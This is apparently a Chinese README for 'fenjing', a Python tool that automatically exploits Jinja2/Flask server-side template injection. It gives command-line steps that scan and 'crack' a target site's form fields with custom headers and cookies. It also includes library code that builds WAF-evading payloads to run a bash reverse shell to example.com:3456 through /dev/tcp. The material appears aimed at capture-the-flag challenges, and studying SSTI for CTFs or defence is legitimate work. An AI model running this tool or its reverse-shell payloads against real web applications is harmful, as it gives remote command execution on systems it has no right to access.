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注意

不要使用windows的cmd跑脚本,要不然就会像这位一样出问题

启动webui

webui不支持自定义Headers和Cookie等特性,如果需要更灵活的使用方式请直接使用命令行或者作为库调用 执行python -m fenjing webui并访问http://127.0.0.1:11451即可 指定host和port:python -m fenjing webui --host '127.0.0.1' --port 1145

作为命令行脚本使用

扫描网站:python -m fenjing scan --url 'http://xxx.xxx/'

获取config:python -m fenjing get-config --url 'http://xxx.xxx' --method GET --inputs name

攻击对应的表单:

  • python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name
  • 也可以指定多个input:python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name,email
  • 指定攻击成功后执行的命令
    • 不指定则进入交互模式
    • python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --user-agent

通用设置

  • 指定请求间隔:python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --interval 0.1
  • 指定请求时使用的UA:python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --user-agent 'Aaa/1.1'
  • 指定Header:python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --header 'Aaa: Bbb' --header 'Ccc: Ddd'
  • 指定Cookie:python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --cookie 'name1=value1; name2=value2'

作为库使用

根据WAF函数生成shell指令对应的payload

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0","1","2","3","4","5","6","7","8","9"
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    # config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    # print(f"{config_payload=}")

让生成器学会使用新的变量

参考

比如说你想让生成器学会使用新的变量aaa,它的值是100,需要在payload的前面加上{%set aaa=0x64%},那你只需要这么写

from fenjing.full_payload_gen import FullPayloadGen
from fenjing.const import OS_POPEN_READ
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 这个函数因题目而定
    blacklist = [
        "00", "1", "3", "5", "7", "9"
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    full_payload_gen = FullPayloadGen(waf)
    full_payload_gen.do_prepare()
    full_payload_gen.context["aaa"] = 100
    full_payload_gen.context_payload += "{%set aaa=0x64%}"
    shell_payload, will_print = full_payload_gen.generate(OS_POPEN_READ, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    if not will_print:
        print("这个payload不会产生回显")
    print(f"{shell_payload=}")